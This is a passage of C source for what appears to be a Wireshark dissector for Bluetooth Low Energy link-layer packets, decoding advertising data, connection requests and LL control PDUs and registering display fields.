// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_UTF_8);
proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8);
epan_scope_mem_pool = wmem_epan_scope();
name = wmem_alloc(epan_scope_mem_pool, length);
tvb_memcpy(tvb, name, 2, length-1);
name[length-1] = '\0';
SET_ADDRESS(&pinfo->src, AT_STRINGZ, length, name);
break;
case index_hf_btle_adv_data_service_data:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, 2, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 4, length-3, ENC_LITTLE_ENDIAN);
break;
case index_hf_btle_adv_data_service_data_32b:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, 2, 4, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 6, length-5, ENC_LITTLE_ENDIAN);
break;
case index_hf_btle_adv_data_service_data_128b:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_128b_uuid, tvb, 2, 16, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_service_data_value, tvb, 18, length-17, ENC_LITTLE_ENDIAN);
break;
case index_hf_btle_adv_data_conn_int_range:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
min_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)1.25;
max_interval_raw = tvb_get_letohs(tvb, 4);
if (max_interval_raw == 0xFFFF)
{
tmp = 0.0;
max_interval = (gfloat)1.0/tmp;
}
else
{
max_interval = (gfloat)max_interval_raw * (gfloat)1.25;
}
proto_tree_add_float(attr_tree, hf_btle_min_interval, tvb, 2, 2, min_interval);
proto_tree_add_float(attr_tree, hf_btle_max_interval, tvb, 4, 2, max_interval);
break;
case index_hf_btle_adv_data_tx_power:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
tx_power = tvb_get_guint8(tvb, 2);
tx_power -= 127;
proto_tree_add_int(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, tx_power);
break;
// case index_hf_btle_adv_data_dev_class:
// case index_hf_btle_adv_data_pair_hash_c:
// case index_hf_btle_adv_data_pair_rand_r:
// case index_hf_btle_adv_data_dev_id:
// case index_hf_btle_adv_data_sec_man_oob_flags:
case index_hf_btle_adv_data_pub_target_addr:
case index_hf_btle_adv_data_rand_target_addr:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
tvb_memcpy(tvb, &address[0], 2, 6);
reverse_byte_order_inplace(address, 6);
proto_tree_add_ether(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, address);
break;
case index_hf_btle_adv_data_adv_int:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
adv_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)0.625;
proto_tree_add_float(attr_tree, hf_btle_adv_data_adv_int_ms, tvb, 2, 2, adv_interval);
break;
case index_hf_btle_adv_data_appearance:
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);
break;
case 255:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_manufacturer, length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN);
break;
default:
// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN);
// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);
// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);
// attr_type_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);
attr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_unknown, length, ENC_LITTLE_ENDIAN);
proto_tree_add_item(attr_tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN);
break;
}
}
void
dissect_adv_data(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo)
{
guint i;
// proto_item* adv_data_item;
// proto_tree* adv_data_tree;
for (i = 0; i < tvb_length(tvb); i += tvb_get_guint8(tvb, i) + 1)
{
tvbuff_t* attr_tvb;
guint8 length;
length = tvb_get_guint8(tvb, i) + 1; /* + the length byte itself */
attr_tvb = tvb_new_subset(tvb, i, length, length);
dissect_adv_data_attr(tree, attr_tvb, pinfo);
}
}
void
dissect_adv_ind_or_nonconn_or_scan(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen)
{
// const guint8 *adv_addr;
// guint64 adv_addr;
// guint i;
proto_item* data_item;
proto_tree* data_tree;
tvbuff_t* data_tvb;
guint8* adv_addr_le;
guint8* adv_addr_be;
wmem_allocator_t* epan_scope_mem_pool;
epan_scope_mem_pool = wmem_epan_scope();
adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);
tvb_memcpy(tvb, adv_addr_le, offset, 6);
reverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */
SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);
SET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst);
proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);
data_item = proto_tree_add_item(tree, hf_btle_adv_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN);
data_tree = proto_item_add_subtree(data_item, ett_adv_data);
data_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen);
dissect_adv_data(data_tree, data_tvb, pinfo);
}
void
dissect_adv_direct_ind(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)
{
guint8 *adv_addr_le, *init_addr_le;
guint8 *adv_addr_be, *init_addr_be;
wmem_allocator_t* epan_scope_mem_pool;
DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);
epan_scope_mem_pool = wmem_epan_scope();
adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
init_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
init_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
tvb_memcpy(tvb, adv_addr_le, offset, 6);
reverse_byte_order(adv_addr_be, adv_addr_le, 6);
SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);
tvb_memcpy(tvb, init_addr_le, offset+6, 6);
reverse_byte_order(init_addr_be, init_addr_le, 6);
SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, init_addr_be);
proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);
proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset + 6, 6, init_addr_be);
}
void
dissect_scan_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)
{
guint8 *adv_addr_le, *scan_addr_le;
guint8 *adv_addr_be, *scan_addr_be;
wmem_allocator_t* epan_scope_mem_pool;
DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);
epan_scope_mem_pool = wmem_epan_scope();
adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
scan_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
scan_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
tvb_memcpy(tvb, scan_addr_le, offset, 6);
reverse_byte_order(scan_addr_be, scan_addr_le, 6);
SET_ADDRESS(&pinfo->src, AT_ETHER, 6, scan_addr_be);
tvb_memcpy(tvb, adv_addr_le, offset+6, 6);
reverse_byte_order(adv_addr_be, adv_addr_le, 6);
SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be);
proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, scan_addr_be);
proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be);
// offset += 12;
}
void
dissect_scan_rsp(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen)
{
proto_item* data_item;
proto_tree* data_tree;
tvbuff_t* data_tvb;
guint8* adv_addr_le;
guint8* adv_addr_be;
wmem_allocator_t* epan_scope_mem_pool;
epan_scope_mem_pool = wmem_epan_scope();
adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);
tvb_memcpy(tvb, adv_addr_le, offset, 6);
reverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */
SET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);
SET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst);
proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);
data_item = proto_tree_add_item(tree, hf_btle_scan_rsp_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN);
data_tree = proto_item_add_subtree(data_item, ett_adv_data);
data_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen);
dissect_adv_data(data_tree, data_tvb, pinfo);
}
void
dissect_connect_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)
{
proto_item *connect_item;
proto_tree *connect_tree;
guint8 *adv_addr_le, *init_addr_le;
guint8 *adv_addr_be, *init_addr_be;
gint16 conn_timeout;
float window_size, window_offset, conn_interval;
wmem_allocator_t* epan_scope_mem_pool;
DISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);
epan_scope_mem_pool = wmem_epan_scope();
adv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
adv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
init_addr_le = wmem_alloc(epan_scope_mem_pool, 6);
init_addr_be = wmem_alloc(epan_scope_mem_pool, 6);
tvb_memcpy(tvb, init_addr_le, offset, 6);
reverse_byte_order(init_addr_be, init_addr_le, 6);
SET_ADDRESS(&pinfo->src, AT_ETHER, 6, init_addr_be);
tvb_memcpy(tvb, adv_addr_le, offset+6, 6);
reverse_byte_order(adv_addr_be, adv_addr_le, 6);
SET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be);
proto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, init_addr_be);
proto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be);
offset += 12;
connect_item = proto_tree_add_item(tree, hf_btle_connect, tvb, offset, 22, ENC_LITTLE_ENDIAN);
connect_tree = proto_item_add_subtree(connect_item, ett_btle_connect);
window_size = (float)(tvb_get_guint8(tvb, offset+ 7)*1.25);
window_offset = (float)(((gint)tvb_get_guint8(tvb, offset+ 8) + (gint)(tvb_get_guint8(tvb, offset+ 9) << 8))*1.25);
conn_interval = (float)(((gint)tvb_get_guint8(tvb, offset+ 10) + (gint)(tvb_get_guint8(tvb, offset+ 11) << 8))*1.25);
conn_timeout = ((gint16)tvb_get_guint8(tvb, offset+ 14) + (gint16)(tvb_get_guint8(tvb, offset+ 15) << 8))*10;
proto_tree_add_item (connect_tree, hf_btle_connect_aa, tvb, offset+ 0, 4, ENC_LITTLE_ENDIAN);
proto_tree_add_item (connect_tree, hf_btle_crc_init, tvb, offset+ 4, 3, ENC_LITTLE_ENDIAN);
proto_tree_add_float(connect_tree, hf_btle_win_size, tvb, offset+ 7, 1, window_size);
proto_tree_add_float(connect_tree, hf_btle_win_offset, tvb, offset+ 8, 2, window_offset);
proto_tree_add_float(connect_tree, hf_btle_interval, tvb, offset+10, 2, conn_interval);
proto_tree_add_item (connect_tree, hf_btle_latency, tvb, offset+12, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_uint (connect_tree, hf_btle_timeout, tvb, offset+14, 2, conn_timeout);
dissect_channel_map(connect_tree, tvb, offset+16);
proto_tree_add_bits_item(connect_tree, hf_btle_hop_interval, tvb, ((offset + 21) * 8) + 3, 5, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(connect_tree, hf_btle_sleep_clock_accuracy, tvb, (offset + 21) * 8, 3, ENC_LITTLE_ENDIAN);
}
void
dissect_ll_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
// proto_item *ll_enc_req_item;
// proto_tree *ll_enc_req_tree;
// ll_enc_req_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req, tvb, offset + 1, 22, ENC_LITTLE_ENDIAN);
// ll_enc_req_tree = proto_item_add_subtree(ll_enc_req_item, ett_ll_enc_req);
// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);
// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9, 2, ENC_LITTLE_ENDIAN);
// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN);
// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ivm, tvb, offset + 19, 4, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ivm, tvb, offset + 19, 4, ENC_LITTLE_ENDIAN);
}
void
dissect_ll_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)
{
// proto_item *ll_enc_rsp_item;
// proto_tree *ll_enc_rsp_tree;
// ll_enc_rsp_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp, tvb, offset + 1, 12, ENC_LITTLE_ENDIAN);
// ll_enc_rsp_tree = proto_item_add_subtree(ll_enc_rsp_item, ett_ll_enc_rsp);
// proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);
// proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_ivs, tvb, offset + 9, 4, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_ivs, tvb, offset + 9, 4, ENC_LITTLE_ENDIAN);
}
dissect_ll_conn_update_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
float window_size, window_offset, conn_interval;
gint16 conn_timeout;
window_size = (float)(tvb_get_guint8(tvb, offset+ 1)*1.25);
window_offset = (float)(((gint)tvb_get_guint8(tvb, offset+ 2) + (gint)(tvb_get_guint8(tvb, offset+ 3) << 8))*1.25);
conn_interval = (float)(((gint)tvb_get_guint8(tvb, offset+ 4) + (gint)(tvb_get_guint8(tvb, offset+ 5) << 8))*1.25);
conn_timeout = ((gint16)tvb_get_guint8(tvb, offset+ 8) + (gint16)(tvb_get_guint8(tvb, offset+ 9) << 8))*10;
proto_tree_add_float(tree, hf_btle_win_size, tvb, offset+ 1, 1, window_size);
proto_tree_add_float(tree, hf_btle_win_offset, tvb, offset+ 2, 2, window_offset);
proto_tree_add_float(tree, hf_btle_interval, tvb, offset+ 4, 2, conn_interval);
proto_tree_add_item (tree, hf_btle_latency, tvb, offset+ 6, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_uint (tree, hf_btle_timeout, tvb, offset+ 8, 2, conn_timeout);
proto_tree_add_item (tree, hf_btle_instant, tvb, offset+10, 2, ENC_LITTLE_ENDIAN);
}
dissect_ll_channel_map_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
// proto_tree_add_item (tree, hf_btle_channel_map, tvb, offset+ 1, 5, ENC_LITTLE_ENDIAN);
dissect_channel_map(tree, tvb, offset+1);
proto_tree_add_item (tree, hf_btle_instant, tvb, offset+ 6, 2, ENC_LITTLE_ENDIAN);
}
dissect_ll_terminate_ind(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_tree_add_item (tree, hf_btle_error_code, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);
}
dissect_ll_start_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
}
dissect_ll_start_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)
{
}
dissect_ll_unknown_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_tree_add_item (tree, hf_btle_unknown_type, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);
}
dissect_ll_feature_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
dissect_feature_set(tree, tvb, offset+1);
// proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset+ 1, 8, ENC_LITTLE_ENDIAN);
}
dissect_ll_feature_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)
{
dissect_feature_set(tree, tvb, offset+1);
// proto_tree_add_item (tree, hf_btle_feature_set, tvb, offset+ 1, 8, ENC_LITTLE_ENDIAN);
}
dissect_ll_pause_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)
{
}
dissect_ll_pause_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)
{
}
dissect_ll_version_ind(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_tree_add_item (tree, hf_btle_bt_version, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item (tree, hf_btle_company_id, tvb, offset+ 2, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item (tree, hf_btle_sub_version_num, tvb, offset+ 4, 2, ENC_LITTLE_ENDIAN);
}
dissect_ll_reject_ind(proto_tree *tree, tvbuff_t *tvb, int offset)
{
proto_tree_add_item (tree, hf_btle_error_code, tvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);
}
void
dissect_ll_control(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, guint8 length)
{
guint8 ll_control_opcode;
// proto_item* data_item;
proto_item* control_item;
// proto_tree* data_tree;
proto_tree* control_tree;
ll_control_opcode = tvb_get_guint8(tvb, offset);
control_item = proto_tree_add_uint(tree, hf_btle_ll_control, tvb, offset, length, ll_control_opcode);
control_tree = proto_item_add_subtree(control_item, ett_ll_control);
proto_tree_add_item(control_tree, hf_btle_ll_control_opcode, tvb, offset, 1, ENC_NA);
// data_item = proto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset+1, length-1, ENC_NA);
// data_tree = proto_item_add_subtree(data_item, ett_ll_control_data);
if (ll_control_opcode <= 0x0d) {
col_add_fstr(pinfo->cinfo, COL_INFO, "LL Control PDU: %s",
ll_control_opcodes[ll_control_opcode].strptr);
switch (ll_control_opcode) {
case LL_CONNECTION_UPDATE_REQ:
dissect_ll_conn_update_req(control_tree, tvb, offset);
break;
case LL_CHANNEL_MAP_REQ:
dissect_ll_channel_map_req(control_tree, tvb, offset);
break;
case LL_TERMINATE_IND:
dissect_ll_terminate_ind(control_tree, tvb, offset);
break;
case LL_ENC_REQ:
dissect_ll_enc_req(control_tree, tvb, offset);
break;
case LL_ENC_RSP:
dissect_ll_enc_rsp(control_tree, tvb, offset);
break;
case LL_START_ENC_REQ:
dissect_ll_start_enc_req(control_tree, tvb, offset);
break;
case LL_START_ENC_RSP:
dissect_ll_start_enc_rsp(control_tree, tvb, offset);
break;
case LL_UNKNOWN_RSP:
dissect_ll_unknown_rsp(control_tree, tvb, offset);
break;
case LL_FEATURE_REQ:
dissect_ll_feature_req(control_tree, tvb, offset);
break;
case LL_FEATURE_RSP:
dissect_ll_feature_rsp(control_tree, tvb, offset);
break;
case LL_PAUSE_ENC_REQ:
dissect_ll_pause_enc_req(control_tree, tvb, offset);
break;
case LL_PAUSE_ENC_RSP:
dissect_ll_pause_enc_rsp(control_tree, tvb, offset);
break;
case LL_VERSION_IND:
dissect_ll_version_ind(control_tree, tvb, offset);
break;
case LL_REJECT_IND:
dissect_ll_reject_ind(control_tree, tvb, offset);
break;
default:
/* Impossible */
break;
}
} else {
col_set_str(pinfo->cinfo, COL_INFO, "LL Control PDU: unknown");
if (length > 1)
proto_tree_add_item(control_tree, hf_btle_ll_control_data, tvb, offset + 1, length-1, ENC_LITTLE_ENDIAN);
expert_add_info_format(pinfo, control_item, PI_SEQUENCE, PI_WARN, "Unknown LL Control opcode");
}
}
/* dissect a packet */
static void
dissect_btle(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_item *btle_item, *pkthdr_item, *data_item, *length_item;
proto_tree *btle_tree, *pkthdr_tree, *data_tree;
int offset;
guint32 aa;
guint8 type, length;
guint8 llid;
tvbuff_t *pld_tvb;
/*
* FIXME
* I have no idea what this does, but the L2CAP dissector segfaults
* without it.
*/
guint16 fake_acl_data;
/* sanity check: length */
if (tvb_length(tvb) > 0 && tvb_length(tvb) < 9)
{
/* bad length: too short */
//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);
}
/* make entries in protocol column and info column on summary display */
if (check_col(pinfo->cinfo, COL_PROTOCOL))
col_set_str(pinfo->cinfo, COL_PROTOCOL, "Bluetooth LE");
aa = tvb_get_letohl(tvb, 0);
// advertising packet
if (aa == ADV_AA) {
type = tvb_get_guint8(tvb, 4) & 0xf;
length = tvb_get_guint8(tvb, 5) & 0x3f;
if ((guint)(length + 9) < tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, NULL, &ei_btle_packet_too_long);
}
else if ((guint)(length + 9) > tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);
}
if (check_col(pinfo->cinfo, COL_PROTOCOL))
col_set_str(pinfo->cinfo, COL_PROTOCOL, "BLE ADV");
/* see if we are being asked for details */
if (tree) {
/* create display subtree for the protocol */
offset = 0;
btle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN);
btle_tree = proto_item_add_subtree(btle_item, ett_btle);
proto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset += 4;
/* packet header */
pkthdr_item = proto_tree_add_item(btle_tree, hf_btle_pkthdr, tvb, offset, 2, ENC_LITTLE_ENDIAN);
pkthdr_tree = proto_item_add_subtree(pkthdr_item, ett_btle_pkthdr);
if (type == 0x1 || type == 0x3 || type == 0x5)
{
proto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_rx, tvb, offset * 8, 1, ENC_LITTLE_ENDIAN);
}
proto_tree_add_bits_item(pkthdr_tree, hf_btle_randomized_tx, tvb, offset * 8 + 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_bits_item(pkthdr_tree, hf_btle_type, tvb, offset * 8 + 4, 4, ENC_LITTLE_ENDIAN);
offset += 1;
length_item = proto_tree_add_item(pkthdr_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
if ((guint)(length + 9) < tvb_length(tvb))
{
//expert_add_info(pinfo, length_item, &ei_btle_packet_too_long);
}
else if ((guint)(length + 9) > tvb_length(tvb))
{
//expert_add_info(pinfo, length_item, &ei_btle_packet_too_short);
}
offset += 1;
if (check_col(pinfo->cinfo, COL_INFO)) {
if (type <= 0x6) {
col_set_str(pinfo->cinfo, COL_INFO, packet_types[type].strptr);
} else {
col_set_str(pinfo->cinfo, COL_INFO, "Unknown");
}
}
/* payload */
switch (type) {
case 0x0: // ADV_IND
case 0x2: // ADV_NONCONN_IND
case 0x6: // ADV_SCAN_IND
dissect_adv_ind_or_nonconn_or_scan(btle_tree, tvb, pinfo, offset, length - 6);
break;
case 0x1: // ADV_DIRECT_IND
dissect_adv_direct_ind(btle_tree, tvb, pinfo, offset);
break;
case 0x3:
dissect_scan_req(btle_tree, tvb, pinfo, offset);
break;
case 0x4: // SCAN_RSP
dissect_scan_rsp(btle_tree, tvb, pinfo, offset, length - 6);
break;
case 0x5: // CONNECT_REQ
dissect_connect_req(btle_tree, tvb, pinfo, offset);
break;
default:
break;
}
offset += length;
proto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN);
}
}
// data PDU
else {
if (check_col(pinfo->cinfo, COL_PROTOCOL))
col_set_str(pinfo->cinfo, COL_PROTOCOL, "BLE Data");
length = tvb_get_guint8(tvb, 5) & 0x3f;
if ((guint)(length + 9) < tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, NULL, &ei_btle_packet_too_long);
}
else if ((guint)(length + 9) > tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, NULL, &ei_btle_packet_too_short);
}
if (tree) {
col_set_str(pinfo->cinfo, COL_INFO, "Data");
length = tvb_get_guint8(tvb, 5) & 0x1f;
/* create display subtree for the protocol */
offset = 0;
btle_item = proto_tree_add_item(tree, proto_btle, tvb, offset, -1, ENC_LITTLE_ENDIAN);
btle_tree = proto_item_add_subtree(btle_item, ett_btle);
proto_tree_add_item(btle_tree, hf_btle_aa, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset += 4;
// data PDU header
data_item = proto_tree_add_item(btle_tree, hf_btle_data, tvb, offset, 2, ENC_LITTLE_ENDIAN);
data_tree = proto_item_add_subtree(data_item, ett_btle_data);
proto_tree_add_item(data_tree, hf_btle_data_rfu, tvb, offset, 1, ENC_NA);
proto_tree_add_item(data_tree, hf_btle_data_md, tvb, offset, 1, ENC_NA);
proto_tree_add_item(data_tree, hf_btle_data_sn, tvb, offset, 1, ENC_NA);
proto_tree_add_item(data_tree, hf_btle_data_nesn, tvb, offset, 1, ENC_NA);
proto_tree_add_item(data_tree, hf_btle_data_llid, tvb, offset, 1, ENC_NA);
llid = tvb_get_guint8(tvb, offset) & 0x3;
offset += 1;
length_item = proto_tree_add_item(data_tree, hf_btle_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
if ((guint)(length + 9) < tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, length_item, &ei_btle_packet_too_long);
}
else if ((guint)(length + 9) > tvb_length(tvb))
{
/* not supported before 1.11.0 */
//expert_add_info(pinfo, length_item, &ei_btle_packet_too_short);
}
offset += 1;
// LL control PDU
if (llid == 0x3) {
dissect_ll_control(btle_tree, tvb, pinfo, offset, length);
}
// L2CAP
else if (llid == 0x1 || llid == 0x2) {
if (length > 0 && btl2cap_handle) {
pinfo->private_data = &fake_acl_data;
pld_tvb = tvb_new_subset(tvb, offset, length, length);
// call_dissector(btl2cap_handle, pld_tvb, pinfo, btle_tree);
call_dissector(btl2cap_handle, pld_tvb, pinfo, tree);
}
else if (length == 0) {
col_set_str(pinfo->cinfo, COL_INFO, "Empty Data PDU");
}
}
offset += length;
proto_tree_add_item(btle_tree, hf_btle_crc, tvb, offset, 3, ENC_BIG_ENDIAN);
}
}
return;
}
/* register the protocol with Wireshark */
void
proto_register_btle(void)
{
/* list of fields */
static hf_register_info hf[] = {
{ &hf_btle_aa,
{ "Access Address", "btle.aa",
FT_UINT32, BASE_HEX, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_pkthdr,
{ "Packet Header", "btle.pkthdr",
FT_NONE, BASE_NONE, NULL, 0x0,
NULL, HFILL }
},
{ &hf_btle_type,
{ "TYPE", "btle.type",
FT_UINT8, BASE_HEX, VALS(packet_types), 0x0,
"Packet Type", HFILL }
},
{ &hf_btle_randomized_tx,
{ "TX Address", "btle.tx_addr_flag",
// FT_BOOLEAN, BASE_NONE, TFS(&tfs_yes_no), 0x0,
FT_BOOLEAN, BASE_NONE, &addr_flag_tfs, 0x0,
NULL, HFILL }
},
